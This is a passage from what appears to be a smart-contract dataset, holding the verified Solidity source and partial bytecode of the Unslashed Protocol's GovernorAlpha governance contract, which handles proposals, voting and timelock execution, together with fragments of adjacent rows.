909416825291909152205490565b600f5481565b600d5460ff1681565b600354600160a060020a031681565b60005433600160a060020a039081169116146117a957600080fd5b600d805460ff19166001179055565b600454600090600160a060020a031615156117d257600080fd5b61180a670de0b6b3a76400006117fe816117f2348863ffffffff61197616565b9063ffffffff61197616565b9063ffffffff6119a116565b600160a060020a033316600090815260016020526040902054909150611836908263ffffffff61194a16565b600160a060020a03331660009081526001602090815260408083209390935560089052205461186b903463ffffffff61194a16565b600160a060020a033316600090815260086020526040902055601154611897908263ffffffff61196416565b601155600a546118ad903463ffffffff61194a16565b600a55600454600160a060020a03163480156108fc0290604051600060405180830381858888f1935050505015156118e457600080fd5b7f540c6de47939116ec4410c0212b0ac3a69886bf8f558dc04fb1360f6ebfea89b333483856040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390a1505050565b60008282018381101561195957fe5b8091505b5092915050565b60008282111561197057fe5b50900390565b600080831515611989576000915061195d565b5082820282848281151561199957fe5b041461195957fe5b60008082848115156119af57fe5b049493505050505600a165627a7a72305820783f680bad94e145d09004413777479ea8195c578e60bd9f228d699ee5c590c60029
{"success": true, "error": null, "results": {}}
4,834
0xa0ae994229b1bc31850d8a17a273904d1ed12190
/** *Submitted for verification at Etherscan.io on 2021-03-03 */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @notice The name of this contract string public constant name = "Unslashed Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 400000e18; } /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 100000e18; } /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Unslashed Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Unslashed governance token UsfInterface public usf; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address usf_, address guardian_) public { timelock = TimelockInterface(timelock_); usf = UsfInterface(usf_); guardian = guardian_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(usf.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || usf.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = usf.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface UsfInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b009146105b1578063deaaa7cc146105da578063e23a9a5214610605578063fe0d94c1146106425761019c565b8063d33219b41461051e578063da35c66414610549578063da95691a146105745761019c565b80637bdbe4d0116100c65780637bdbe4d01461048857806391500671146104b3578063b58131b0146104dc578063b9a61961146105075761019c565b80634634c61f1461041d5780634923250014610446578063760fbc13146104715761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146103615780633e4f49e61461038c57806340e58ee5146103c9578063452a9320146103f25761019c565b806321f43e42146102cd57806324bc1a64146102f6578063328dd982146103215761019c565b8063013cf08b146101a157806302a251a3146101e657806306fdde031461021157806315373e3d1461023c57806317977c611461026557806320606b70146102a2575b600080fd5b3480156101ad57600080fd5b506101c860048036036101c39190810190613371565b61065e565b6040516101dd99989796959493929190614c6c565b60405180910390f35b3480156101f257600080fd5b506101fb6106e6565b6040516102089190614ba1565b60405180910390f35b34801561021d57600080fd5b506102266106f0565b60405161023391906148c4565b60405180910390f35b34801561024857600080fd5b50610263600480360361025e91908101906133ff565b610729565b005b34801561027157600080fd5b5061028c6004803603610287919081019061318a565b610738565b6040516102999190614ba1565b60405180910390f35b3480156102ae57600080fd5b506102b7610750565b6040516102c49190614797565b60405180910390f35b3480156102d957600080fd5b506102f460048036036102ef91908101906131b3565b610767565b005b34801561030257600080fd5b5061030b6108f4565b6040516103189190614ba1565b60405180910390f35b34801561032d57600080fd5b5061034860048036036103439190810190613371565b610906565b6040516103589493929190614736565b60405180910390f35b34801561036d57600080fd5b50610376610be3565b6040516103839190614ba1565b60405180910390f35b34801561039857600080fd5b506103b360048036036103ae9190810190613371565b610bec565b6040516103c091906148a9565b60405180910390f35b3480156103d557600080fd5b506103f060048036036103eb9190810190613371565b610dd0565b005b3480156103fe57600080fd5b5061040761116c565b6040516104149190614563565b60405180910390f35b34801561042957600080fd5b50610444600480360361043f919081019061343b565b611192565b005b34801561045257600080fd5b5061045b611361565b604051610468919061488e565b60405180910390f35b34801561047d57600080fd5b50610486611387565b005b34801561049457600080fd5b5061049d61145b565b6040516104aa9190614ba1565b60405180910390f35b3480156104bf57600080fd5b506104da60048036036104d591908101906131b3565b611464565b005b3480156104e857600080fd5b506104f16115ec565b6040516104fe9190614ba1565b60405180910390f35b34801561051357600080fd5b5061051c6115fe565b005b34801561052a57600080fd5b50610533611711565b6040516105409190614873565b60405180910390f35b34801561055557600080fd5b5061055e611736565b60405161056b9190614ba1565b60405180910390f35b34801561058057600080fd5b5061059b600480360361059691908101906131ef565b61173c565b6040516105a89190614ba1565b60405180910390f35b3480156105bd57600080fd5b506105d860048036036105d39190810190613371565b611d09565b005b3480156105e657600080fd5b506105ef612058565b6040516105fc9190614797565b60405180910390f35b34801561061157600080fd5b5061062c600480360361062791908101906133c3565b61206f565b6040516106399190614b86565b60405180910390f35b61065c60048036036106579190810190613371565b612151565b005b60046020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff16905089565b6000614380905090565b6040518060400160405280601881526020017f556e736c617368656420476f7665726e6f7220416c706861000000000000000081525081565b61073433838361239e565b5050565b60056020528060005260406000206000915090505481565b60405161075c90614539565b604051809103902081565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ee90614946565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000856040516020016108699190614563565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161089894939291906145a7565b600060405180830381600087803b1580156108b257600080fd5b505af11580156108c6573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506108ef9190810190613330565b505050565b60006954b40b1f852bda000000905090565b606080606080600060046000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156109b457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161096a575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610a0657602002820191906000526020600020905b8154815260200190600101908083116109f2575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b82821015610aea578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ad65780601f10610aab57610100808354040283529160200191610ad6565b820191906000526020600020905b815481529060010190602001808311610ab957829003601f168201915b505050505081526020019060010190610a2e565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610bcd578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bb95780601f10610b8e57610100808354040283529160200191610bb9565b820191906000526020600020905b815481529060010190602001808311610b9c57829003601f168201915b505050505081526020019060010190610b11565b5050505090509450945094509450509193509193565b60006001905090565b60008160035410158015610c005750600082115b610c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3690614966565b60405180910390fd5b600060046000848152602001908152602001600020905080600b0160009054906101000a900460ff1615610c77576002915050610dcb565b80600701544311610c8c576000915050610dcb565b80600801544311610ca1576001915050610dcb565b80600a01548160090154111580610cc25750610cbb6108f4565b8160090154105b15610cd1576003915050610dcb565b600081600201541415610ce8576004915050610dcb565b80600b0160019054906101000a900460ff1615610d09576007915050610dcb565b610db581600201546000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7857600080fd5b505afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610db0919081019061339a565b61266d565b4210610dc5576006915050610dcb565b60059150505b919050565b6000610ddb82610bec565b9050600780811115610de957fe5b816007811115610df557fe5b1415610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90614b06565b60405180910390fd5b6000600460008481526020019081526020016000209050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f975750610eac6115ec565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f1a4360016126c2565b6040518363ffffffff1660e01b8152600401610f37929190614606565b60206040518083038186803b158015610f4f57600080fd5b505afa158015610f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f8791908101906134b2565b6bffffffffffffffffffffffff16105b610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd90614a46565b60405180910390fd5b600181600b0160006101000a81548160ff02191690831515021790555060008090505b816003018054905081101561112f576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663591fcdfe83600301838154811061105457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600401848154811061108e57fe5b90600052602060002001548560050185815481106110a857fe5b906000526020600020018660060186815481106110c157fe5b9060005260206000200187600201546040518663ffffffff1660e01b81526004016110f09594939291906146d5565b600060405180830381600087803b15801561110a57600080fd5b505af115801561111e573d6000803e3d6000fd5b505050508080600101915050610ff9565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c8360405161115f9190614ba1565b60405180910390a1505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006040516111a090614539565b60405180910390206040518060400160405280601881526020017f556e736c617368656420476f7665726e6f7220416c7068610000000000000000815250805190602001206111ed612712565b3060405160200161120194939291906147b2565b60405160208183030381529060405280519060200120905060006040516112279061454e565b60405180910390208787604051602001611243939291906147f7565b60405160208183030381529060405280519060200120905060008282604051602001611270929190614502565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516112ad949392919061482e565b6020604051602081039080840390855afa1580156112cf573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134290614ac6565b60405180910390fd5b611356818a8a61239e565b505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140e90614b66565b60405180910390fd5b6000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb906149c6565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f9016000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000856040516020016115669190614563565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161159594939291906145a7565b602060405180830381600087803b1580156115af57600080fd5b505af11580156115c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506115e79190810190613307565b505050565b600069152d02c7e14af6800000905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461168e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611685906148e6565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156116f757600080fd5b505af115801561170b573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60006117466115ec565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe1336117904360016126c2565b6040518363ffffffff1660e01b81526004016117ad92919061457e565b60206040518083038186803b1580156117c557600080fd5b505afa1580156117d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506117fd91908101906134b2565b6bffffffffffffffffffffffff161161184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290614aa6565b60405180910390fd5b8451865114801561185d575083518651145b801561186a575082518651145b6118a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a090614a26565b60405180910390fd5b6000865114156118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e590614a86565b60405180910390fd5b6118f661145b565b86511115611939576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611930906149e6565b60405180910390fd5b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008114611a4857600061199082610bec565b90506001600781111561199f57fe5b8160078111156119ab57fe5b14156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390614ae6565b60405180910390fd5b600060078111156119f957fe5b816007811115611a0557fe5b1415611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d906149a6565b60405180910390fd5b505b6000611a5b43611a56610be3565b61266d565b90506000611a7082611a6b6106e6565b61266d565b9050600360008154809291906001019190505550611a8c6128f3565b604051806101a0016040528060035481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003019080519060200190611b96929190612975565b506080820151816004019080519060200190611bb39291906129ff565b5060a0820151816005019080519060200190611bd0929190612a4c565b5060c0820151816006019080519060200190611bed929190612aac565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160056000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611ced99989796959493929190614bbc565b60405180910390a1806000015194505050505095945050505050565b60046007811115611d1657fe5b611d1f82610bec565b6007811115611d2a57fe5b14611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190614906565b60405180910390fd5b60006004600083815260200190815260200160002090506000611e2b426000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b158015611dee57600080fd5b505afa158015611e02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611e26919081019061339a565b61266d565b905060008090505b826003018054905081101561201057612003836003018281548110611e5457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846004018381548110611e8e57fe5b9060005260206000200154856005018481548110611ea857fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f465780601f10611f1b57610100808354040283529160200191611f46565b820191906000526020600020905b815481529060010190602001808311611f2957829003601f168201915b5050505050866006018581548110611f5a57fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ff85780601f10611fcd57610100808354040283529160200191611ff8565b820191906000526020600020905b815481529060010190602001808311611fdb57829003601f168201915b50505050508661271f565b8080600101915050611e33565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda2892838260405161204b929190614cf9565b60405180910390a1505050565b6040516120649061454e565b604051809103902081565b612077612b0c565b60046000848152602001908152602001600020600c0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff161515151581526020016000820160029054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905092915050565b6005600781111561215e57fe5b61216782610bec565b600781111561217257fe5b146121b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a990614926565b60405180910390fd5b6000600460008381526020019081526020016000209050600181600b0160016101000a81548160ff02191690831515021790555060008090505b8160030180549050811015612362576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f83600401838154811061224757fe5b906000526020600020015484600301848154811061226157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685600401858154811061229b57fe5b90600052602060002001548660050186815481106122b557fe5b906000526020600020018760060187815481106122ce57fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016122fd9594939291906146d5565b6000604051808303818588803b15801561231657600080fd5b505af115801561232a573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052506123549190810190613330565b5080806001019150506121ec565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516123929190614ba1565b60405180910390a15050565b600160078111156123ab57fe5b6123b483610bec565b60078111156123bf57fe5b146123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f690614b26565b60405180910390fd5b6000600460008481526020019081526020016000209050600081600c0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff161515146124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa90614986565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18785600701546040518363ffffffff1660e01b8152600401612516929190614606565b60206040518083038186803b15801561252e57600080fd5b505afa158015612542573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061256691908101906134b2565b905083156125975761258a8360090154826bffffffffffffffffffffffff1661266d565b83600901819055506125bc565b6125b383600a0154826bffffffffffffffffffffffff1661266d565b83600a01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff021916908315150217905550808260000160026101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c468686868460405161265d949392919061462f565b60405180910390a1505050505050565b6000808284019050838110156126b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126af90614a06565b60405180910390fd5b8091505092915050565b600082821115612707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fe90614b46565b60405180910390fd5b818303905092915050565b6000804690508091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2b065378686868686604051602001612775959493929190614674565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016127a79190614797565b60206040518083038186803b1580156127bf57600080fd5b505afa1580156127d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506127f791908101906132de565b15612837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282e90614a66565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b8152600401612899959493929190614674565b602060405180830381600087803b1580156128b357600080fd5b505af11580156128c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506128eb9190810190613307565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b8280548282559060005260206000209081019282156129ee579160200282015b828111156129ed5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612995565b5b5090506129fb9190612b3f565b5090565b828054828255906000526020600020908101928215612a3b579160200282015b82811115612a3a578251825591602001919060010190612a1f565b5b509050612a489190612b82565b5090565b8280548282